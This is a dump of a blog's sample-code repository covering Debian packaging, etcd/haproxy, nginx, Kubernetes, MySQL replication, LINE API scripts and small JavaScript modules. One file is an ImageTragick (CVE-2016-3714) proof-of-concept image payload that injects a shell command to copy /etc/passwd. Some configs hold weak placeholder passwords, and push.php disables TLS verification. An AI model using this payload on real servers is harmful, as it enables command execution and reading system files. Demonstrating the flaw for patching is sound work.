├── deb-example
├── package-name
│ ├── usr
│ │ └── bin
│ │ │ └── helloworld
│ └── DEBIAN
│ │ ├── postinst
│ │ ├── postrm
│ │ ├── preinst
│ │ └── control.sample
└── Makefile
├── README.md
├── etcd-conf-haproxy
├── confd-start.sh
├── haproxy.toml
├── etcd-register.sh
├── etcd-start.sh
├── haproxy.cfg.tmpl
└── service-start.sh
├── CVE-2016-3714
├── exploit-CVE-2016-3714.png
└── policy.xml
├── IoC-DI
├── Cat.php
├── Horse.php
├── Interface
│ └── Interface_Animal.php
├── Container.php
└── Zoo.php
├── nginx-auto-switch
├── www
│ ├── desktop
│ │ └── index.html
│ └── mobile
│ │ └── index.html
└── sites-enabled
│ └── site.conf
├── nginx-logrotate
└── logrotate-nginx.conf
├── PhantomJS
└── capture.js
├── gitlab
└── docker-compose.yml
├── sj-nn
├── package.json
├── npm-debug.log
├── iris.csv
├── network.json
└── index.js
├── VSCode
└── sftp.json
├── k8s-micro-service
├── pvc.yml
├── pv.yml
└── lamp.yml
├── redmine-pre-receive
├── selenium
├── TestSuite.html
└── TestCase.html
├── lets-encrypt-acme
└── willcard-ssl-renew.sh
├── ElasticSearch
└── logrotate.sh
├── Universal.js
├── docker-swarm
└── docker-compose.yml
├── ddns
└── cf-ip-renew.sh
├── mysql-replication
├── haproxy.cfg
├── my.cnf.slave
└── my.cnf.master
├── Universal-plus.js
├── tmux
└── .tmux.conf
├── web-language-detect
├── nginx.conf
└── lang-detect.js
├── line-api
├── push.php
└── reply.php
├── my-service
├── ImageMagick
└── convert-example.php
├── keras-ml
├── colab-kaggle-api-dataset-download.ipynb
├── mnist-neural-network.ipynb
└── keras-cat-vs-dog-cnn-feature-extraction.ipynb
├── spark-ml-iris
├── iris.py
└── iris.csv
├── seo-meta-tag
└── template.html
├── google-colab
└── vgg16_mnist.py
├── redmine-reply.php
├── erc-20
└── ERC-20.sol
└── LICENSE.txt
/deb-example/package-name/usr/bin/helloworld:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | echo 'Hello World!'
3 |
--------------------------------------------------------------------------------
/deb-example/package-name/DEBIAN/postinst:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo 'do something after file install'
--------------------------------------------------------------------------------
/deb-example/package-name/DEBIAN/postrm:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo 'do something after file remove'
3 |
--------------------------------------------------------------------------------
/deb-example/package-name/DEBIAN/preinst:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo 'do something before file install'
3 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Soul & Shell Blog Sample Code
2 |
3 | Sample Code and Demo Code of Soul & Shell Blog (https://blog.toright.com)
4 |
--------------------------------------------------------------------------------
/etcd-conf-haproxy/confd-start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | /usr/sbin/confd -interval 10 -node '${ETCD_HOST}:2379' -confdir /etc/confd
4 |
--------------------------------------------------------------------------------
/CVE-2016-3714/exploit-CVE-2016-3714.png:
--------------------------------------------------------------------------------
1 | push graphic-context
2 | viewbox 0 0 640 480
3 | fill 'url(https://example.com/image.jpg"|cat /etc/passwd > /tmp/hack.txt")'
4 | pop graphic-context
5 |
--------------------------------------------------------------------------------
/IoC-DI/Cat.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Desktop
6 |
7 |
8 | Desktop
9 |
10 |
--------------------------------------------------------------------------------
/nginx-auto-switch/www/mobile/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Mobile
6 |
7 |
8 | Mobile
9 |
10 |
--------------------------------------------------------------------------------
/IoC-DI/Container.php:
--------------------------------------------------------------------------------
1 | setSmallAnimal(new Cat());
12 | $zoo->setLargeAnimal(new Horse());
13 | }
14 |
15 | }
--------------------------------------------------------------------------------
/etcd-conf-haproxy/etcd-register.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # wait for etcd start
4 | while ! nc -z ${ETCD_HOST} 2379; do
5 | echo "Waiting for etcd start..."
6 | sleep 1
7 | done
8 |
9 | # registe srvice hostname into etcd
10 | curl -L http://${ETCD_HOST}:2379/v2/keys/app/servers/server-${HOSTNAME} -XPUT -d value="${HOSTNAME}"
11 |
--------------------------------------------------------------------------------
/etcd-conf-haproxy/etcd-start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | THIS_IP=`ifconfig eth0 | grep "inet addr" | cut -d ':' -f 2 | cut -d ' ' -f 1`
3 | /usr/sbin/etcd --data-dir=data.etcd \
4 | --name ${HOSTNAME} \
5 | --advertise-client-urls "http://${THIS_IP}:2379" \
6 | --listen-client-urls 'http://0.0.0.0:2379'
7 |
--------------------------------------------------------------------------------
/CVE-2016-3714/policy.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/etcd-conf-haproxy/haproxy.cfg.tmpl:
--------------------------------------------------------------------------------
1 | defaults
2 | log global
3 | mode http
4 |
5 | listen frontend 0.0.0.0:8080
6 | mode http
7 | stats enable
8 | stats uri /haproxy?stats
9 | balance roundrobin
10 | option httpclose
11 | option forwardfor
12 | {{range gets "/app/servers/*"}}
13 | server {{base .Key}} {{.Value}}:80 check{{end}}
14 |
--------------------------------------------------------------------------------
/etcd-conf-haproxy/service-start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | _term() {
4 | echo "Caught SIGTERM signal and remove etcd key..."
5 | curl -L http://${ETCD_HOST}:2379/v2/keys/push/servers/server-${HOSTNAME} -XDELETE
6 | kill -TERM "$child" 2>/dev/null
7 | }
8 |
9 | trap _term SIGTERM
10 |
11 | # Start your service at here...
12 |
13 | child=$!
14 | wait "$child"
15 |
--------------------------------------------------------------------------------
/nginx-logrotate/logrotate-nginx.conf:
--------------------------------------------------------------------------------
1 | /var/log/your-log-path/*.log {
2 | daily
3 | dateext
4 | dateformat -%Y-%m-%d
5 | missingok
6 | rotate 90
7 | copytruncate
8 | compress
9 | delaycompress
10 | notifempty
11 | create 0640 www-data adm
12 | sharedscripts
13 | postrotate
14 | [ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`
15 | endscript
16 | }
17 |
--------------------------------------------------------------------------------
/deb-example/package-name/DEBIAN/control.sample:
--------------------------------------------------------------------------------
1 | Package: package-name
2 | Version: 0.0.0-0
3 | Architecture: all
4 | Maintainer: SJ Chou
5 | Installed-Size: 0
6 | Depends: php5 (>=5.5.9), php5-curl (>=5.5.9), php5-mongo (>=1.4.5)
7 | Section: web
8 | Priority: optional
9 | Homepage: http://blog.toright.com
10 | Description: This is debian package build example
11 |
--------------------------------------------------------------------------------
/PhantomJS/capture.js:
--------------------------------------------------------------------------------
1 | "use strict";
2 |
3 | var page = require('webpage').create();
4 |
5 | page.open('https://blog.toright.com', function() {
6 | // show title
7 | var title = page.evaluate(function() {
8 | return document.title;
9 | });
10 | console.log(title);
11 |
12 | // screen capture
13 | page.render('screenshot.png');
14 | phantom.exit();
15 | });
16 |
--------------------------------------------------------------------------------
/gitlab/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.2'
2 | services:
3 |
4 | gitlab:
5 | image: gitlab/gitlab-ce:latest
6 | hostname: gitlab.example.com
7 | container_name: gitlab
8 | restart: always
9 | volumes:
10 | - /gitlab/config:/etc/gitlab
11 | - /gitlab/logs:/var/log/gitlab
12 | - /gitlab/data:/var/opt/gitlab
13 | ports:
14 | - 443:443
15 | - 80:80
16 | networks:
17 | - devel-net
18 |
19 | networks:
20 | devel-net:
21 |
--------------------------------------------------------------------------------
/sj-nn/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "sj-nn",
3 | "version": "1.0.0",
4 | "description": "neural network example",
5 | "main": "index.js",
6 | "dependencies": {
7 | "csvtojson": "^1.1.4",
8 | "node-neural-network": "^1.0.3",
9 | "step": "^1.0.0"
10 | },
11 | "devDependencies": {},
12 | "scripts": {
13 | "example": "node index.js"
14 | },
15 | "keywords": [
16 | "neural",
17 | "network",
18 | "nodejs"
19 | ],
20 | "author": "sj",
21 | "license": "ISC"
22 | }
23 |
--------------------------------------------------------------------------------
/VSCode/sftp.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Server",
3 | "host": "192.168.0.200",
4 | "protocol": "sftp",
5 | "port": 22,
6 | "username": "username",
7 | "password": "password",
8 | "remotePath": "/remote",
9 | "uploadOnSave": true,
10 | "syncMode": "update",
11 | "watcher": {
12 | "files": false,
13 | "autoUpload": true,
14 | "autoDelete": true
15 | },
16 | "ignore": [
17 | "**/.vscode/**",
18 | "**/.git/**",
19 | "**/.DS_Store"
20 | ]
21 | }
22 |
--------------------------------------------------------------------------------
/k8s-micro-service/pvc.yml:
--------------------------------------------------------------------------------
1 | kind: PersistentVolumeClaim
2 | apiVersion: v1
3 | metadata:
4 | name: pvc-apache-www
5 | spec:
6 | storageClassName: local-storage-www
7 | accessModes:
8 | - ReadWriteMany
9 | resources:
10 | requests:
11 | storage: 1Gi
12 |
13 | ---
14 |
15 | kind: PersistentVolumeClaim
16 | apiVersion: v1
17 | metadata:
18 | name: pvc-mysql-data
19 | spec:
20 | storageClassName: local-storage-mysql
21 | accessModes:
22 | - ReadWriteOnce
23 | resources:
24 | requests:
25 | storage: 2Gi
26 |
--------------------------------------------------------------------------------
/redmine-pre-receive:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # ignore tag push
4 | if [[ "$3" == "refs/tags/"* ]]; then
5 | exit 0
6 | fi
7 |
8 | while read oldrev newrev refname
9 | do
10 | for rev in $(git rev-list ${oldrev}..${newrev})
11 | do
12 | log=`git show -s --format="%s" $rev`
13 | author=`git show -s --format="%an" $rev`
14 | ./hooks/redmine-add-change-log.php "${log}" "${author}" "${rev}"
15 | if [ $? != 0 ]
16 | then
17 | exit $?
18 | fi
19 | done
20 | done
21 |
22 | exit 0
23 |
--------------------------------------------------------------------------------
/selenium/TestSuite.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Test Suite
7 |
8 |
9 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/lets-encrypt-acme/willcard-ssl-renew.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | export CF_Key="YOUR_CLOUD_FLARE_API_KEY"
4 | export CF_Email="YOUR_CLOUD_FLARE_LOGIN_EMAIL"
5 |
6 | DOMAIN=your-domain.com
7 |
8 | mkdir -p /etc/letsencrypt/keys
9 | mkdir -p /etc/letsencrypt/live/${DOMAIN}
10 |
11 | /root/.acme.sh/acme.sh --issue -d "${DOMAIN}" -d "*.${DOMAIN}" --dns dns_cf \
12 | --key-file /etc/letsencrypt/keys/${DOMAIN}.key \
13 | --cert-file /etc/letsencrypt/live/${DOMAIN}/cert.pem \
14 | --fullchain-file /etc/letsencrypt/live/${DOMAIN}/fullchain.pem \
15 | --ca-file /etc/letsencrypt/live/${DOMAIN}/chain.pem \
16 | --reloadcmd "service haproxy restart"
17 |
--------------------------------------------------------------------------------
/IoC-DI/Zoo.php:
--------------------------------------------------------------------------------
1 | _smallAnimal = $animal;
26 | }
27 |
28 | public function setLargeAnimal(Interface_Animal &$animal)
29 | {
30 | $this->_largeAnimal = $animal;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/ElasticSearch/logrotate.sh:
--------------------------------------------------------------------------------
1 | #/bin/bash
2 |
3 | KEEP_DAYS=30
4 | ELASTICSEARCH_HOST='http://elasticsearch:9200'
5 | DATE_THRESHOLD=`date -d "${KEEP_DAYS} days ago" +%Y/%m/%d`
6 | TIME_THRESHOLD=`date -d "${DATE_THRESHOLD}" +%s`
7 |
8 | INDEX_LIST=`curl -s -k ${ELASTICSEARCH_HOST}/_cat/indices?s=index | grep 'logstash' | awk '{print$3}'`
9 |
10 | echo "DATE_THRESHOLD=${DATE_THRESHOLD}"
11 |
12 | for INDEX_NAME in ${INDEX_LIST}
13 | do
14 | INDEX_DATE=`echo "${INDEX_NAME}" | sed -e 's/\./\//g' | sed -e 's/logstash-//g'`
15 | INDEX_TIME=`date -d "${INDEX_DATE}" +%s`
16 | if [ ${TIME_THRESHOLD} -gt ${INDEX_TIME} ]; then
17 | echo "Remove Index: ${INDEX_NAME}"
18 | curl -XDELETE -k ${ELASTICSEARCH_HOST}/${INDEX_NAME}
19 | fi
20 | done
21 |
--------------------------------------------------------------------------------
/k8s-micro-service/pv.yml:
--------------------------------------------------------------------------------
1 | apiVersion: v1
2 | kind: PersistentVolume
3 | metadata:
4 | name: local-storage-www
5 | labels:
6 | type: local
7 | spec:
8 | storageClassName: local-storage-www
9 | persistentVolumeReclaimPolicy: Retain
10 | capacity:
11 | storage: 20Gi
12 | accessModes:
13 | - ReadWriteMany
14 | hostPath:
15 | path: "/mnt/local-storage-www"
16 |
17 | ---
18 |
19 | apiVersion: v1
20 | kind: PersistentVolume
21 | metadata:
22 | name: local-storage-mysql
23 | labels:
24 | type: local
25 | spec:
26 | storageClassName: local-storage-mysql
27 | persistentVolumeReclaimPolicy: Retain
28 | capacity:
29 | storage: 20Gi
30 | accessModes:
31 | - ReadWriteOnce
32 | hostPath:
33 | path: "/mnt/local-storage-mysql"
34 |
--------------------------------------------------------------------------------
/Universal.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /**
4 | * Universal JavaScript package
5 | * JavaScript, NodeJS Module and RequireJS Module Supported
6 | */
7 | var Universal = function () {
8 |
9 | var privateVar = 'I_AM_PRIVATE_VAR';
10 |
11 | var privateFn = function () {
12 | console.log('I am private function.');
13 | };
14 |
15 | // constructor
16 | var constructor = function () {
17 | console.log(privateVar);
18 | privateFn();
19 | };
20 |
21 | var publicFn = function () {
22 | console.log('I am public function.');
23 | };
24 |
25 | constructor();
26 |
27 | return {
28 | /**
29 | * Public defined
30 | */
31 | publicVar: 'I_AM_PUBLIC_VAR',
32 |
33 | /**
34 | * Public function
35 | */
36 | publicFn: publicFn
37 | };
38 | };
--------------------------------------------------------------------------------
/docker-swarm/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.2'
2 | services:
3 | server:
4 | image: samejack/php5-fpm-nginx:latest
5 | hostname: server
6 | restart: always
7 | depends_on:
8 | - mysql
9 | ports:
10 | - "80:80"
11 | volumes:
12 | - /root/wordpress:/usr/share/nginx/html
13 | deploy:
14 | replicas: 2
15 | placement:
16 | constraints: [node.labels.server == true]
17 | mysql:
18 | image: samejack/mysql:latest
19 | hostname: mysql
20 | restart: always
21 | environment:
22 | - MYSQL_ROOT_PASSWORD=1234
23 | - MYSQL_USER_NAME=wordpress
24 | - MYSQL_USER_PASSWORD=5678
25 | volumes:
26 | - /root/mysql-data:/var/lib/mysql
27 | deploy:
28 | placement:
29 | constraints: [node.labels.mysql == true]
30 |
--------------------------------------------------------------------------------
/ddns/cf-ip-renew.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | CF_TOKEN={YOUR_API_TOKEN}
3 | CF_ZONE_ID={YOUR_ZONE_ID}
4 | CF_RECORD_ID={YOUR_RECORD_ID}
5 | DNS={YOUR_DOMAIN}
6 |
7 | INTERNET_IP=`curl -s http://ipv4.icanhazip.com`
8 | INTERFACE_IP=`ip address show ppp0 | grep ppp0 | grep global | awk '{print$2}'`
9 | DNS_RECORD_IP=`dig ${DNS} | grep "${DNS}" | grep -v ';' | awk '{print$5}'`
10 |
11 | if [ "$INTERNET_IP" != "$DNS_RECORD_IP" ]
12 | then
13 | echo "Renew IP: ${DNS_RECORD_IP} to ${INTERNET_IP}"
14 | curl -X PUT "https://api.cloudflare.com/client/v4/zones/${CF_ZONE_ID}/dns_records/${CF_RECORD_ID}" \
15 | -H "Authorization: Bearer ${CF_TOKEN}" \
16 | -H "Content-Type: application/json" \
17 | --data '{"type":"A","name":"'${DNS}'","content":"'${INTERNET_IP}'","ttl":120,"proxied":false}'
18 | else
19 | echo "No change: ${INTERNET_IP}"
20 | fi
21 |
--------------------------------------------------------------------------------
/deb-example/Makefile:
--------------------------------------------------------------------------------
1 | PACKAGE_NAME="package-name"
2 | VERSION=1.0.0.0
3 |
4 | all ::
5 | @echo "[INFO] Create debian package file (control)."
6 | rm -rf ./${PACKAGE_NAME}/DEBIAN/control ;\
7 | cp ./${PACKAGE_NAME}/DEBIAN/control.sample ./${PACKAGE_NAME}/DEBIAN/control ;\
8 | SIZE=`du -sx --exclude DEBIAN "${PACKAGE_NAME}/DEBIAN/" | awk '{print $$1}'` ;\
9 | sed -i "s/Installed-Size: 0/Installed-Size: $${SIZE}/g" "./${PACKAGE_NAME}/DEBIAN/control" ;\
10 | sed -i 's/Version: 0.0.0-0/Version: ${VERSION}/g' "./${PACKAGE_NAME}/DEBIAN/control" ;\
11 | cat ./${PACKAGE_NAME}/DEBIAN/control
12 | @echo "[INFO] Build Deb Package."
13 | mkdir -p ./dest
14 | rm -rf "./dest/${PACKAGE_NAME}_${VERSION}.deb"
15 | dpkg -b "./${PACKAGE_NAME}" "./dest/${PACKAGE_NAME}_${VERSION}.deb"
16 |
17 | install ::
18 | dpkg -i "./dest/${PACKAGE_NAME}_${VERSION}.deb"
19 |
--------------------------------------------------------------------------------
/mysql-replication/haproxy.cfg:
--------------------------------------------------------------------------------
1 | global
2 | log /dev/log local0
3 | log /dev/log local1 notice
4 | maxconn 102400
5 | user haproxy
6 | group haproxy
7 | daemon
8 | nbproc 1
9 | pidfile /var/run/haproxy.pid
10 | tune.ssl.default-dh-param 1024
11 |
12 | defaults
13 | log global
14 | mode http
15 | option httplog
16 | option dontlognull
17 | timeout server 1200s
18 | timeout connect 1200s
19 | timeout client 1200s
20 | retries 3
21 |
22 | listen statistics
23 | bind *:8080
24 | mode http
25 | stats enable
26 | stats hide-version
27 | stats realm Haproxy\ Statistics
28 | stats uri /stats
29 | stats auth admin:admin1234
30 | stats refresh 10s
31 |
32 | listen haproxy_mysql
33 | bind *:3306
34 | mode tcp
35 | timeout client 10800s
36 | timeout server 10800s
37 | option tcplog
38 | balance roundrobin
39 | server db1 mysql-master-1:3306 check
40 | server db2 mysql-master-2:3306 check backup
41 |
42 |
--------------------------------------------------------------------------------
/Universal-plus.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /**
4 | * Universal JavaScript package PLUS!
5 | * JavaScript, NodeJS Module and RequireJS Module Supported
6 | */
7 | (function (name, definition) {
8 | if (typeof(module) !== 'undefined' && module.exports) {
9 | module.exports = definition;
10 | } else if (typeof(define) === 'function') {
11 | define(definition);
12 | } else {
13 | this[name] = definition();
14 | }
15 | }('UniversalPlus', function () {
16 | var privateVar = 'I_AM_PRIVATE_VAR';
17 |
18 | var privateFn = function () {
19 | console.log('I am private function.');
20 | };
21 |
22 | // constructor
23 | var constructor = function () {
24 | console.log(privateVar);
25 | privateFn();
26 | }();
27 |
28 | var publicFn = function () {
29 | console.log('I am public function.');
30 | };
31 |
32 | return {
33 | /**
34 | * Public defined
35 | */
36 | publicVar: 'I_AM_PUBLIC_VAR',
37 |
38 | /**
39 | * Public function
40 | */
41 | publicFn: publicFn
42 | };
43 | }));
44 |
--------------------------------------------------------------------------------
/sj-nn/npm-debug.log:
--------------------------------------------------------------------------------
1 | 0 info it worked if it ends with ok
2 | 1 verbose cli [ 'node', '/usr/local/bin/npm', 'run', 'example' ]
3 | 2 info using npm@1.4.28
4 | 3 info using node@v0.10.34
5 | 4 verbose run-script [ 'preexample', 'example', 'postexample' ]
6 | 5 info preexample sj-nn@1.0.0
7 | 6 info example sj-nn@1.0.0
8 | 7 verbose unsafe-perm in lifecycle true
9 | 8 info sj-nn@1.0.0 Failed to exec example script
10 | 9 error sj-nn@1.0.0 example: `nodejs index.js`
11 | 9 error Exit status 127
12 | 10 error Failed at the sj-nn@1.0.0 example script.
13 | 10 error This is most likely a problem with the sj-nn package,
14 | 10 error not with npm itself.
15 | 10 error Tell the author that this fails on your system:
16 | 10 error nodejs index.js
17 | 10 error You can get their info via:
18 | 10 error npm owner ls sj-nn
19 | 10 error There is likely additional logging output above.
20 | 11 error System Darwin 16.5.0
21 | 12 error command "node" "/usr/local/bin/npm" "run" "example"
22 | 13 error cwd /Users/sj/Desktop/GitHub/sj-nn
23 | 14 error node -v v0.10.34
24 | 15 error npm -v 1.4.28
25 | 16 error code ELIFECYCLE
26 | 17 verbose exit [ 1, true ]
27 |
--------------------------------------------------------------------------------
/tmux/.tmux.conf:
--------------------------------------------------------------------------------
1 | # Toggle synpanes on
2 | bind k \
3 | set synchronize-panes on \;\
4 | display 'SynPanes: ON'
5 |
6 | # Toggle synpanes off
7 | bind K \
8 | set synchronize-panes off \;\
9 | display 'SynPanes: OFF'
10 |
11 | # Toggle mouse on
12 | bind m \
13 | set -g mode-mouse on \;\
14 | set -g mouse-resize-pane on \;\
15 | set -g mouse-select-pane on \;\
16 | set -g mouse-select-window on \;\
17 | display 'Mouse: ON'
18 |
19 | # Toggle mouse off
20 | bind M \
21 | set -g mode-mouse off \;\
22 | set -g mouse-resize-pane off \;\
23 | set -g mouse-select-pane off \;\
24 | set -g mouse-select-window off \;\
25 | display 'Mouse: OFF'
26 |
27 | # History-limit
28 | set -g history-limit 30000
29 |
30 | # Use 256 colors
31 | set -g default-terminal "screen-256color"
32 |
33 | bind -n C-v run-shell "tmux set-buffer \"$(xclip -o)\"; tmux paste-buffer" \; display-message "Pasted"
34 | bind -n C-s run "tmux save-buffer - | xclip -selection clipboard > /dev/null" \; display-message "Copied"
35 |
36 | # default mouse on
37 | set -g mode-mouse on
38 | set -g mouse-resize-pane on
39 | set -g mouse-select-pane on
40 | set -g mouse-select-window on
41 |
--------------------------------------------------------------------------------
/web-language-detect/nginx.conf:
--------------------------------------------------------------------------------
1 | server {
2 |
3 | ...
4 |
5 | # detect Accept-Language auto redirect to langauge path
6 | location = / {
7 | # Setup language prefix
8 | set $prefix_language $http_accept_language;
9 | if ($http_accept_language ~* '^(.+?),') {
10 | set $prefix_language $1;
11 | }
12 |
13 | # Setup redirect Schema
14 | set $redirect_schema $scheme;
15 | if ($http_X_Forwarded_Proto = 'https') {
16 | set $redirect_schema $http_X_Forwarded_Proto;
17 | }
18 |
19 | # Setup redirect Host
20 | set $redirect_host $host;
21 | if ($http_X_Forwarded_Host != '') {
22 | set $redirect_host $http_X_Forwarded_Host;
23 | }
24 |
25 | # Setup URL
26 | set $lang_url $redirect_schema://$redirect_host;
27 |
28 | if ($prefix_language ~* 'zh-TW') {
29 | return 302 $lang_url/zh-TW/;
30 | }
31 |
32 | if ($prefix_language ~* 'zh-CN') {
33 | return 302 $lang_url/zh-CN/;
34 | }
35 |
36 | # Default en-US
37 | return 302 $lang_url/en-US/;
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/selenium/TestCase.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | TestCase
8 |
9 |
10 |
11 |
12 | | TestCase |
13 |
14 |
15 | | open |
16 | /?gfe_rd=cr&ei=rP49VZzxDoLA4AKHloHABQ&gws_rd=ssl |
17 | |
18 |
19 |
20 | | type |
21 | id=lst-ib |
22 | soul & shell blog |
23 |
24 |
25 | | click |
26 | name=btnK |
27 | |
28 |
29 |
30 | | waitForElementPresent |
31 | link=Soul & Shell Blog - 假文青的幽默不好笑 |
32 | |
33 |
34 |
35 | | clickAndWait |
36 | link=Soul & Shell Blog - 假文青的幽默不好笑 |
37 | |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/line-api/push.php:
--------------------------------------------------------------------------------
1 | []]));
11 | }
12 | $db = json_decode(file_get_contents($dbFilePath), true);
13 |
14 | if (count($db['user']) === 0) {
15 | echo 'No user login.';
16 | exit(1);
17 | } else {
18 | foreach ($db['user'] as &$userInfo) {
19 | $userIds[] = $userInfo['userId'];
20 | }
21 | }
22 |
23 | // make payload
24 | $payload = [
25 | 'to' => $userIds,
26 | 'messages' => [
27 | [
28 | 'type' => 'text',
29 | 'text' => $message
30 | ]
31 | ]
32 | ];
33 |
34 | // Send Request by CURL
35 | $ch = curl_init();
36 | curl_setopt($ch, CURLOPT_URL, 'https://api.line.me/v2/bot/message/multicast');
37 | curl_setopt($ch, CURLOPT_POST, true);
38 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
39 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
40 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
41 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
42 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
43 | curl_setopt($ch, CURLOPT_HTTPHEADER, [
44 | 'Content-Type: application/json',
45 | 'Authorization: Bearer ' . $channelAccessToken
46 | ]);
47 | $result = curl_exec($ch);
48 | curl_close($ch);
49 |
--------------------------------------------------------------------------------
/mysql-replication/my.cnf.slave:
--------------------------------------------------------------------------------
1 | [client]
2 | port = 3306
3 | socket = /var/run/mysqld/mysqld.sock
4 |
5 | [mysqld_safe]
6 | socket = /var/run/mysqld/mysqld.sock
7 | nice = 0
8 |
9 | [mysqld]
10 | user = mysql
11 | pid-file = /var/run/mysqld/mysqld.pid
12 | socket = /var/run/mysqld/mysqld.sock
13 | port = 3306
14 | bind-address = 0.0.0.0
15 | basedir = /usr
16 | datadir = /var/lib/mysql
17 | tmpdir = /tmp
18 | lc-messages-dir = /usr/share/mysql
19 | skip-external-locking
20 |
21 | key_buffer = 16M
22 | max_allowed_packet = 16M
23 | thread_stack = 192K
24 | max_connections = 5000
25 | table_cache = 64
26 | thread_concurrency = 8
27 | query_cache_limit = 1M
28 | query_cache_size = 16M
29 | query_cache_type = 1
30 |
31 | # slow log (optional)
32 | log_error = /var/log/mysql/error.log
33 | log_slow_queries = /var/log/mysql/mysql-slow.log
34 | long_query_time = 2
35 | log-queries-not-using-indexes
36 |
37 | server-id = 2
38 | log_bin = /var/lib/mysql/mysql-bin.log
39 | log-slave-updates = 0
40 | expire_logs_days = 10
41 | max_binlog_size = 100M
42 | innodb_flush_log_at_trx_commit = 1
43 | sync_binlog = 0
44 | read_only = 1
45 |
46 | # innodb tune (optional)
47 | innodb_change_buffering = all
48 | innodb_adaptive_hash_index = ON
49 | innodb_max_dirty_pages_pct = 80
50 | innodb_buffer_pool_size = 256M
51 | innodb_buffer_pool_instances = 2
52 |
53 | [mysqldump]
54 | quick
55 | quote-names
56 | max_allowed_packet = 16M
57 |
58 | !includedir /etc/mysql/conf.d/
59 |
--------------------------------------------------------------------------------
/mysql-replication/my.cnf.master:
--------------------------------------------------------------------------------
1 | [client]
2 | port = 3306
3 | socket = /var/run/mysqld/mysqld.sock
4 |
5 | [mysqld_safe]
6 | socket = /var/run/mysqld/mysqld.sock
7 | nice = 0
8 |
9 | [mysqld]
10 | user = mysql
11 | pid-file = /var/run/mysqld/mysqld.pid
12 | socket = /var/run/mysqld/mysqld.sock
13 | port = 3306
14 | bind-address = 0.0.0.0
15 | basedir = /usr
16 | datadir = /var/lib/mysql
17 | tmpdir = /tmp
18 | lc-messages-dir = /usr/share/mysql
19 | skip-external-locking
20 |
21 | key_buffer = 16M
22 | max_allowed_packet = 16M
23 | thread_stack = 192K
24 | max_connections = 5000
25 | table_cache = 64
26 | thread_concurrency = 8
27 | query_cache_limit = 1M
28 | query_cache_size = 16M
29 | query_cache_type = 1
30 |
31 | log_error = /var/log/mysql/error.log
32 | log_slow_queries = /var/log/mysql/mysql-slow.log
33 | long_query_time = 2
34 | log-queries-not-using-indexes
35 |
36 | # slow log (optional)
37 | server-id = 1
38 | log_bin = /var/lib/mysql/mysql-bin.log
39 | log-slave-updates = 0
40 | expire_logs_days = 10
41 | max_binlog_size = 100M
42 | innodb_flush_log_at_trx_commit = 1
43 | sync_binlog = 1
44 | read_only = 0
45 |
46 | # innodb tune (optional)
47 | innodb_change_buffering = all
48 | innodb_adaptive_hash_index = ON
49 | innodb_max_dirty_pages_pct = 80
50 | innodb_buffer_pool_size = 256M
51 | innodb_buffer_pool_instances = 2
52 |
53 | [mysqldump]
54 | quick
55 | quote-names
56 | max_allowed_packet = 16M
57 |
58 | !includedir /etc/mysql/conf.d/
59 |
--------------------------------------------------------------------------------
/web-language-detect/lang-detect.js:
--------------------------------------------------------------------------------
1 | try {
2 | var switchPage = function (language) {
3 | switch (language) {
4 | case 'zh-cn':
5 | console.log('/zh-CN' + window.location.pathname);
6 | window.location.href = '/zh-CN' + window.location.pathname;
7 | return true;
8 | break;
9 |
10 | case 'zh':
11 | case 'zh-tw':
12 | console.log('/zh-TW' + window.location.pathname);
13 | window.location.href = '/zh-TW' + window.location.pathname;
14 | return true;
15 | break;
16 |
17 | case 'en':
18 | case 'en-us':
19 | console.log('/en-US' + window.location.pathname);
20 | window.location.href = '/en-US' + window.location.pathname;
21 | return true;
22 | break;
23 |
24 | default:
25 | }
26 | return false;
27 | };
28 |
29 | // detect window.navigator.languages
30 | var found = false;
31 | if (typeof(window.navigator.languages) === 'object') {
32 | for (var index in window.navigator.languages) {
33 | console.log(window.navigator.languages[index].toLowerCase());
34 | found = switchPage(window.navigator.languages[index].toLowerCase());
35 | if (found) break;
36 | }
37 | }
38 |
39 | if (!found) {
40 | var lang = window.navigator.userLanguage || window.navigator.language;
41 | var relang = lang.toLowerCase();
42 | found = switchPage(relang);
43 | }
44 |
45 | if (!found) {
46 | window.location.href = '/en-US' + window.location.pathname;
47 | }
48 | } catch (e) {
49 | window.location.href = '/en-US' + window.location.pathname;
50 | }
--------------------------------------------------------------------------------
/my-service:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | ### BEGIN INIT INFO
4 | # Provides:
5 | # Required-Start: my-service
